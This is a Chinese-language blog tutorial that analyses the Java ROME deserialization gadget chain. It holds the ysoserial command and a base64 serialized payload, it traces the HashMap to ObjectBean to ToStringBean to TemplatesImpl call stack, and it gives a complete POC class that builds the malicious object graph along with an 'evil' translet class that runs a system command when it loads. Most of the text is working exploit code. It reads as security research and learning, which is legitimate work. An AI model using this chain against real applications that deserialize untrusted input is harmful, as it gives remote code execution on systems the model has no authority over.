Rome反序列化链
环境搭建
下载地址:http://rometools.github.io/rome/ROMEReleases/rome-1.0.jar,下载完以后导入rome包即可。
我们可以先使用ysoserial生成payload,然后再下断点进行调试
java -jar ysoserial.jar ROME 'calc'|base64
package rome;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVz" +
"aG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBs" +
"Lk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGlj" +
"YXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9z" +
"eW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9z" +
"dW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRp" +
"Y2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVy" +
"dGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5q" +
"YXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+" +
"AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxh" +
"dGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5" +
"dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGph" +
"dmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRp" +
"ZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAA" +
"AAaayv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25z" +
"dGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJs" +
"ZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5u" +
"ZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0" +
"UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5h" +
"bC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIv" +
"U2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUv" +
"eGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFj" +
"aGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0" +
"aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtM" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20v" +
"c3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRs" +
"ZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9E" +
"VE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVy" +
"bmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdl" +
"dHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJh" +
"bnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1" +
"bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9v" +
"cmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2Vy" +
"aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUH" +
"ACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEABGNhbGMI" +
"ADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMK" +
"ACsANAEADVN0YWNrTWFwVGFibGUBAB55c29zZXJpYWwvUHduZXI0MDQwMDk3MzgyMzQxOTQBACBM" +
"eXNvc2VyaWFsL1B3bmVyNDA0MDA5NzM4MjM0MTk0OwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAAC" +
"AAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAA" +
"AAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAA" +
"AAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQA" +
"AAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0A" +
"AgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVX" +
"sQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AFwAAAdTK/rq+AAAA" +
"MgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUF" +
"ceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxW" +
"YXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5" +
"bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsH" +
"ABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmpl" +
"Y3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdl" +
"dHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcA" +
"AbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIA" +
"FgAQAAlwdAAEUHducnB3AQB4c3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLkVxdWFs" +
"c0JlYW71ihi75fYYEQIAAkwACl9iZWFuQ2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wABF9vYmpx" +
"AH4ACXhwdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHEAfgAU" +
"c3IAKmNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLlRvU3RyaW5nQmVhbgn1jkoPI+4xAgAC" +
"TAAKX2JlYW5DbGFzc3EAfgAcTAAEX29ianEAfgAJeHBxAH4AH3EAfgAUc3EAfgAbdnEAfgACcQB+" +
"AA1zcQB+ACBxAH4AI3EAfgANcQB+AAZxAH4ABnEAfgAGeA==";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}
前置知识
ObjectBean
com.sun.syndication.feed.impl.ObjectBean
是Rome
提供的一个封装类型, 初始化时提供了一个Class
类型和一个Object
对象实例进行封装
他也有三个成员变量,分别是EqualsBean
、 ToStringBean
、CloneableBean
类,为ObjectBean
提供了equals
、toString
、clone
以及hashCode
方法
在ObjectBean#hashCode
中,调用了EqualsBean
类的beanHashCode
方法 ----出自https://xz.aliyun.com/t/11200
ToStringBean
com.sun.syndication.feed.impl.ToStringBean
是给对象提供toString
方法的类, 类中有两个toString
方法, 第一个是无参的方法, 获取调用链中上一个类或_obj
属性中保存对象的类名, 并调用第二个toString
方法. 在第二个toString
方法中, 会调用BeanIntrospector#getPropertyDescriptors
来获取_beanClass
的所有getter
和setter
方法, 接着判断参数的长度, 长度等于0
的方法会使用_obj
实例进行反射调用, 通过这个点我们可以来触发TemplatesImpl
的利用链. ----出自https://xz.aliyun.com/t/11200
调用链分析
调用栈如下
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
最开始是由HashMap触发
然后是调用了key的hashcode方法,在hashcode中调用的是EqualsBean的beanHashCode方法
跟进beanHashCode方法。在EqualsBean调用了自身obj属性的toString方法,这里的obj属性是一个ObjectBean对象
继续跟进toString方法,继续调用ToStringBean的toString方法,跟进
其代码如下,运行结果最后prefix是TemplatesImpl
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return this.toString(prefix);
}
然后就调用了自身的toString方法,把TemplatesImpl作为参数传入,最终调用到pReadMethod.invoke(this._obj,NO_PARAMS),从而触发精心构造的RCE
利用链构造
开始说到,是从HashMap的readObject方法开始,通过触发key.hashcode方法触发,在结尾是调用到了ToStringBean的有参的toString方法,并且ToStringBean的_obj属性是TemplatesImpl对象,pds数组是获得ToStringBean类的_beanClass的getter和setter方法,并且方法需要无参才会进行反射调用。所以链的开始是HashMap#readObject,结尾是ToStringBean#toString。其中观察一下ObjectBean的构造函数,该构造函数是两个参数的构造函数,会调用自身三个参数的构造函数
public ObjectBean(Class beanClass, Object obj) {
this(beanClass, obj, (Set)null);
}
三参的构造函数如下
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}
可以看到,在初始化的时候,传入的beanClass和obj在EqualsBean和ToStringBean中分别都作为构造函数的参数传入。分别放上这两个Bean的对应的构造函数
public EqualsBean(Class beanClass, Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
} else {
this._beanClass = beanClass;
this._obj = obj;
}
}
protected ToStringBean(Class beanClass) {
this._beanClass = beanClass;
this._obj = this;
}
我们可以知道在最后是寻找ToStringBean类的_beanClass的无参getter和setter方法,然后反射调用,并且在ToStringBean类的无参toString方法中,className是通过className = this._obj.getClass().getName();
进行获取,prefix是截取className最后一个点之后的字符串,结果是TemplatesImpl,这里的话其实_beanClass就可以确定是javax.xml.transform.Templates的class对象,_obj就是TemplatesImpl对象,我们就可以来构造利用链了。
所以poc如下
package rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class POC {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();
Field bytecodes = aClass.getDeclaredField("_bytecodes");
Field name = aClass.getDeclaredField("_name");
Field tfactory = aClass.getDeclaredField("_tfactory");
bytecodes.setAccessible(true);
name.setAccessible(true);
tfactory.setAccessible(true);
byte[] bytes= Files.readAllBytes(Paths.get("C:\\Users\\86155\\Desktop\\java\\untitled4\\target\\classes\\evil.class"));
byte[][] bytes1=new byte[][]{bytes};
bytecodes.set(templates,bytes1);
name.set(templates,"ch1e");
tfactory.set(templates,new TransformerFactoryImpl());
ObjectBean ch1e = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "ch1e"));
HashMap hashMap = new HashMap();
hashMap.put(ch1e,"ch1e");
ObjectBean objectBean = new ObjectBean(Templates.class, templates);
Class aClass1 = ObjectBean.class;
Field equalsBean = aClass1.getDeclaredField("_equalsBean");
equalsBean.setAccessible(true);
equalsBean.set(ch1e,new EqualsBean(ObjectBean.class, objectBean));
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
同时这里也是利用了TemplatesImpl,所以恶意类也需要继承AbstractTranslet,这里其实踩坑蛮久的,后面才想到
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}